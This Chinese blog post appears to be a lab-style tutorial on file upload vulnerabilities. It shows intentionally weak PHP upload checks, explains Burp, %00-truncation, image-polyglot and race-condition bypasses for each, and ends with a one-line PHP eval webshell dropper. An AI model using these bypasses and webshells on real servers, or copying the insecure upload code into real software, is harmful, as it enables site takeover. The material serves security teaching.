文件上传
概念
文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer等文件),而WEB系统没有进行检测或逻辑做的不够安全
文件上传必须以POST提交表单。表单中需要 <input type="file" name="upload">
攻击者通过上传恶意文件传递给解释器执行,然后就可以在服务器上执行恶意代码,进行数据执行,服务器文件管理,命令执行等恶意操作。从而控制整个网站,甚至是服务器,这个恶意的文件 (php、asp、aspx、jsp等),又被称为Webshell
产生原因
1.服务器配置不当
2.开源编辑器上传漏洞
3.本地文件上传限制被绕过
4.过滤不严格被绕过
5.文件解析漏洞导致文件执行
6.文件路径截断
利用条件
(1)能够成功上传木马。
(2)上传的木马能够被web容器解析执行,所以上传路径要在web容器覆盖范围内。
(3)用户能够访问上传的木马,所以得知道上传的木马准确路径。将一句话木马上传至服务器,并能成功访问。(页面空白访问成功)
成功后即可搭配webshell工具连接使用
文件上传绕过
上传后如何处理及解释文件 ** **分为 上传客户端 解析服务端
客户端JavaScript检测(前端检测)
开发者在前端使用JavaScript做了白名单验证,如果文件名不符合规则那么就不允许被上传
JS代码
<script type="text/javascript">
function checkFile(){
var flag=false;
var str=document.getElementById("file").value; // 拿到value值给str
//获取文件最后一个点的位置,之后所有的字符 也就是获得文件后缀名再次给到str变量
str = str.substring(str.lastIndexOf('.')+1);
//白名单来存储三个可以用的后缀名,利用for循环来遍历,如果出现相等的那么就是为真,如果不是
// 那么flag就还是假的,下面的判断是 flag是否为假 !非就是判断一个值是不是假 是的话则就是文件不合法,之后返回falag类型
var arr=new Array('png','gif','jpg');
for(var i=0;i<arr.length;i++){
if(str==arr[i]){
flag=true;
}
}
if(!flag){
alert('文件不合法');
}
return flag;
}
</script>
提交表单
// OnSubmit属性指定了在表单提交前需要执行的JavaScript函数
<form action="low.php" method="post" onSubmit="return checkFile()" enctype="multipart/form-data">
<input type="file" name="file" id="file" /><br/>
<br/>
<input type="submit" vlue="提交" name="submit">
</form>
服务端代码(没有任何判断只在前端做检测)
<?php
if (isset($_POST['submit'])) { //先判断有么有表单提交
$target_path = "../uploads/"; // 提交后上传的路径在../uploads/
// 将上传文件的原始名称和保存路径拼接在一起,得到最终的保存路径和文件名。
$target_path = $target_path . basename( $_FILES['file']['name']);
// 将上传的文件从临时文件夹中移动到指定的保存路径中。如果移动成功,则返回rue,否则返回false
if(move_uploaded_file($_FILES['file']['tmp_name'], $target_path==flase)) {
echo'文件上传失败';
} else {
echo"$target_path 文件上传成功";
}
}
?>
绕过方式
1.使用火狐插件禁用JavaScript代码 Javascript Switcher,禁用后前端检测也就没有了
2.先上传符合规则的文件,通过burp suite抓包修改其后缀名。
bp抓包,先将我们的123.txt文件改变后缀变成 123.jpg,上传图片后,点击开始上传即可抓到对应的响应包
发送到重发器中 修改请求后缀为 123.txt,成功上传成功绕过
- F12看源码 checkFileExt()函数调用的,直接删除这个函数前端检测就失效了
服务端MIME类型检测
MIME检测上传文件的后缀 ,上传文件时可以通过服务端对上传文件的MIME类型进行判断。
服务端代码(在后端检测)
<?php
if (isset($_POST['submit'])) {
$target_path = "../uploads/"; //直接保存路径
// 拼接上下文为最终路径
$target_path = $target_path . basename($_FILES['file']['name']);
// 获得上传原始名称全名
$uploaded_name = $_FILES['file']['name'];
// 获取文件的类型 后缀
$uploaded_type = $_FILES['file']['type'];
// 判断类型是否是 image/jpeg
if ($uploaded_type == "image/jpeg"){
// 将上传的文件从临时文件夹中移动到指定的保存路径中。如果移动成功,则返回true,否则返回false。
if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
echo'文件上传失败';
} else {
echo"$target_path 文件上传成功";
}
}
// 不是指定的类型那么就上传失败
else{
echo'文件上传失败';
}
}
?>
绕过方式
通过burp suite抓包修改Content-Type字段改为:Content-Type: image/jpeg,意味着告诉服务器发送的数据是JPEG格式的图像文件 那么在做判断的时候就会和上文中的if进行,返回true 上传成功,
发送到重发器修改后缀名
Content-Type是什么?
Content-Type是HTTP协议头中的一个字段,用于指定发送的数据的类型或格式。该字段通常包括两个部分:主类型和子类型,中间用斜杠(/)分隔。例如,Content-Type: text/html表示发送的数据是HTML格式的文本内容。常见的Content-Type类型包括:
- text/plain : 纯文本格式
- text/html : HTML格式
- application/json : JSON格式
- application/xml : XML格式
- image/jpeg : JPEG格式的图像文件
- audio/mpeg : MP3格式的音频文件
- video/mp4 : MP4格式的视频文件
Content-Type字段对于服务器和客户端之间的通信非常重要,因为它指定了如何解析和处理发送的数据。如果Content-Type字段不正确,服务器可能无法正确处理数据,从而导致通信失败或出现其他问题
服务端 白名单检测
服务端取文件后缀名进行白名单比对,如果文件名不符合规则那么就不允许被上传。
服务端白名单检测算是相对安全的检测方式,但也有被利用的可能
服务端PHP代码(只有规定的类型才会通过)
<?php
if (isset($_POST['submit'])) { // 检查是否按下了提交按钮
$target_path = "../uploads/"; // 设置上传文件的目标路径
$target_path = $target_path . basename($_FILES['file']['name']); // 将目标路径和上传文件的文件名合并
$uploaded_name = $_FILES['file']['name']; // 获取上传文件的文件名
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取上传文件的扩展名
// 如果上传文件的扩展名为 jpg 或 jpeg,则执行下面的代码
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG")){
// 如果上传文件失败,则输出“文件上传失败”
if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
echo '文件上传失败';
} else { // 如果上传文件成功,则输出上传文件的路径和“文件上传成功”
echo "$target_path 文件上传成功";
}
} else { // 如果上传的文件类型不是 jpg 或 jpeg,则输出“文件上传失败”
echo '文件上传失败';
}
}
?>
绕过方式
首先将木马文件改为规则的后缀名,通过burp suite抓包,如果头文件中含有文件名以及存储路径。将路径改为xx.php后面跟%00,文件名不变。那么在存储路径和文件名拼接时%00及以后的信息将被丢弃。即符合白名单验证,文件又会被存储为xx.php。
%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合服务器中间件解析漏洞绕过
(还可以配合服务器解析漏洞,以及文件包含漏洞形成漏洞链以达到攻击的目的。)
服务端文件头检测制作图片马
文件头检测是在文件上传时取文件的前2个字节进行特征对比,符合格式的话就是那个类型的文件,我们通过将恶意代码前面添加其他符号要求的文件头部2个字节就可以伪造成正常的类型,从而绕过检查
木马文件是更改后缀名可以通过服务端白名单检测,但是无法绕过文件头检测
服务端代码
<?php
header("Content-type: text/html; charset=utf-8"); // 设置 HTTP 响应头,指定字符集为 utf-8
function getReailFileType($filename){ // 定义一个函数,用于获取上传文件的真实类型
$file = fopen($filename, "rb"); // 以二进制只读方式打开上传的这个文件
$bin = fread($file, 2); //只读这个文件的前2字节
fclose($file); // 关闭文件句柄
$strInfo = @unpack("C2chars", $bin); // 解包文件前两个字节
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 将前两个字节转换为整数
$fileType = ''; // 初始化文件类型变量
switch($typeCode){ // 根据文件类型码进行判断
case 255216: // JPEG 类型码
$fileType = 'jpg';
break;
case 13780: // png类型码
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType; // 返回文件类型
}
if (isset($_POST['submit'])) {
$target_path = "../uploads/"; // 设置上传文件的目标路径
$target_path = $target_path . basename($_FILES['file']['name']); // 将路径和文件名合并
$uploaded_name = $_FILES['file']['name']; // 获取上传的文件名
$fileType = getReailFileType($_FILES['file']['tmp_name']); // 获取上传文件的真实类型
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取上传文件的扩展名.后面+1
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG" ) & ($fileType == 'jpg' || $fileType == 'png' || $fileType == 'gif')){
if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
echo"文件上传失败";
} else {
echo"$target_path 文件上传成功";
}
}else{
echo"文件上传失败";
}
}
?>
绕过方式
添加文件头:GIF89a
制作图片马:图片名称xx.jpg,木马名称xx.php。copy xx.jpg/b + xx.php/a xx.jpg
这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示
使用cygwin工具可以查看到普通图片的字节
我们可以把一个php文件和一张普通图片利用命令来进行合并,使其字符符合要求绕过验证
使用cmd命令
copy /b 20.png + get.php get.png
生成成功使用记事本浏览器,发现虽然前面是乱码,但是在组合还是我们的PHP语句
成功绕过上传,图片的壳,恶意代码的芯,但是这种情况还是无法利用的需要满足其下两个条件
1. 网站只是对文件头检测,上传后需要修改后缀为 php 才可以解析
2. 上传.htaccess文件内容使其解析png内容为png (但是这里都可以上传不限制后缀了,第一种方式就够了)
3. 使用文件包含漏洞,当使用这文件包含函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该包含的文件是什么类型。(无论是txt、图片文件,远程URL,全都作为PHP代码执行)但是这里是不成立的只在靶场
可疑,因为都可以上传php了,那么可以直接上传木马了
任意上传检测文件内容竞争条件绕过
有些网站是允许先上传任意后缀的文件,然后检测文件内容是否包含webshell脚本,如果包含那么就删除文件, 但是
文件上传成功后和删除文件后存在一个时间差,上传成功后意味着我们可以访问,我们可以构造webshell为生成一个webshll的代码
那么我们访问后就会生成一个新的php文件而不是上传
我们可以先上传一个webshell脚本1.php ,脚本的内容如下,它的作用是生成一个新的wbeshell脚本saber.php
,saber.php的文件代码是wbeshell脚本
<?php fputs(fopen("saber.php","w"),'<?php eval($_POST["cmd"])?>');
// 生成新的webshell php文件
当1.php上传成功后,客户端立即访问10php,则会在服务端当前目录下自动生成saber.php,这时攻击者就利用时间差完成了WebShell的上
标签:文件,检测,绕过,php,上传,cnblog,服务端 From: https://www.cnblogs.com/yue0day/p/18151770